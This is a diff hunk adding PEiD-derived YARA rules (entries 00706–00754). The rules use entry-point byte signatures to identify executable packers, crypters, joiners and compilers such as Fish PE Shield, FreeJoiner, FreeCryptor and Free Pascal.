+        $a = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00706_fds0ft_c0m_pr0tect_v0_4b_
+{
+    meta:
+        description = "[fds0ft c0m pr0tect v0.4b]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E ?? ?? ?? ?? B4 30 8B ?? ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00707_fEaRzCrypter_v1_0____fEaRz_
+{
+    meta:
+        description = "[fEaRzCrypter v1.0 -> fEaRz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00708_File_Analyzer_Compiled_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Compiled Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00709_File_Analyzer_Extended_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Extended Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {23 03 45 58 54 44 ?? ?? 3A 03}
+    condition:
+        $a
+}
+
+rule PEiD_00710_File_Analyzer_Registration_file_v1_0_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 4D 2D ?? ?? ?? ?? 31}
+    condition:
+        $a
+}
+
+rule PEiD_00711_File_Analyzer_Registration_file_v1_1_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 45 4E 43 3D ?? 26 26 52 45 47 3D ?? 26 26 45 58 50 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00712_FileShield_
+{
+    meta:
+        description = "[FileShield]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E EB ?? 90 00 00 8B D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00713_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89}
+    condition:
+        $a
+}
+
+rule PEiD_00714_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+    condition:
+        $a
+}
+
+rule PEiD_00715_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00716_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00717_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC}
+    condition:
+        $a
+}
+
+rule PEiD_00718_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+    condition:
+        $a
+}
+
+rule PEiD_00719_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00720_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00721_Fish_PE_Shield_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00722_FishPE_V1_0X____hellfish___Sign_by_fly_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00723_FishPE_V1_0X____hellfish_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00724_FixupPak_1_20_
+{
+    meta:
+        description = "[FixupPak 1.20]"
+        ep_only = "false"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+    condition:
+        $a
+}
+
+rule PEiD_00725_FixupPak_v1_20_
+{
+    meta:
+        description = "[FixupPak v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00726_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "false"
+    strings:
+        $a = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+    condition:
+        $a
+}
+rule PEiD_00727_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00728_Free_Pascal_0_99_10_
+{
+    meta:
+        description = "[Free Pascal 0.99.10]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a
+}
+
+rule PEiD_00729_Free_Pascal_1_06_
+{
+    meta:
+        description = "[Free Pascal 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00730_Free_Pascal_v0_99_10_
+{
+    meta:
+        description = "[Free Pascal v0.99.10]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00731_Free_Pascal_v1_0_10__win32_console__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 console)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+    condition:
+        $a
+}
+
+rule PEiD_00732_Free_Pascal_v1_0_10__win32_GUI__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+    condition:
+        $a
+}
+
+rule PEiD_00733_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_00734_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00735_FreeBASIC_v0_11_
+{
+    meta:
+        description = "[FreeBASIC v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00736_FreeCryptor_0_1__build_001____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 001)-> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+rule PEiD_00737_FreeCryptor_0_1__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_00738_FreeCryptor_0_2__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.2 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+    condition:
+        $a
+}
+
+rule PEiD_00739_FreeJoiner_1_5_1____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.1 -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00740_FreeJoiner_1_5_2__Stub_engine_1_6_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00741_FreeJoiner_1_5_3__Stub_engine_1_7_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00742_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {86 D6 90 86 F2 B9 93 60 08 FE 90 86 D6 90 86 F2 B9 9D 13 45 01 86 D6 90 86 F2 81 C2 93 60 08 FE 33 C9 B9 30 74 4D FF 86 D6 90 86 F2 33 C9 C7 05 B4 17 40 00 00 00 00 00 90 68 00 01 00 00 68 D1 17 40 00 6A 00 E8 CE 02 00 00 90 33 C9 86 D6 90 86 F2 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 D1 17 40 00 E8 9E 02 00 00 A3 CD 17 40 00 86 D6}
+    condition:
+        $a
+}
+
+rule PEiD_00743_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00744_FreeJoiner_Small__build_014_020_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014-020) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00745_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 68 00 01 00 00 68 F8 13 40 00 6A 00 E8 F3 01 00 00 8A C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 F8 13 40 00 E8 C9 01 00 00 A3 E0 13 40 00 40 0F 84 8B 01 00 00 90 90 90 90 90 6A 02 6A 00 6A FB FF 35 E0 13 40 00 E8 D1 01 00 00 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 E0 13 40 00 E8 B2 01 00 00 8A C0 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+
+rule PEiD_00746_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E FE FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00747_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 86 DB 86 FF 68 00 01 00 00 68 18 20 40 00 6A 00 E8 FF 01 00 00 8A E4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 18 20 40 00 E8 D5 01 00 00 A3 00 20 40 00 40 0F 84 97 01 00 00 8A E4 6A 02 6A 00 6A FB FF 35 00 20 40 00 E8 E0 01 00 00 86 FF 86 DB 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 00 20 40 00 E8 BD 01 00 00 8A E4 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+
+rule PEiD_00748_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00749_FreeJoiner_Small__build_023_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 023) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00750_FreeJoiner_Small__build_029_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 029) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00751_FreeJoiner_Small__build_031_032_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 031/032) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00752_FreeJoiner_Small__build_033_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 033) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00753_FreeJoiner_Small__build_035_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 035) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00754_FreePascal_1_0_4_Win32_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
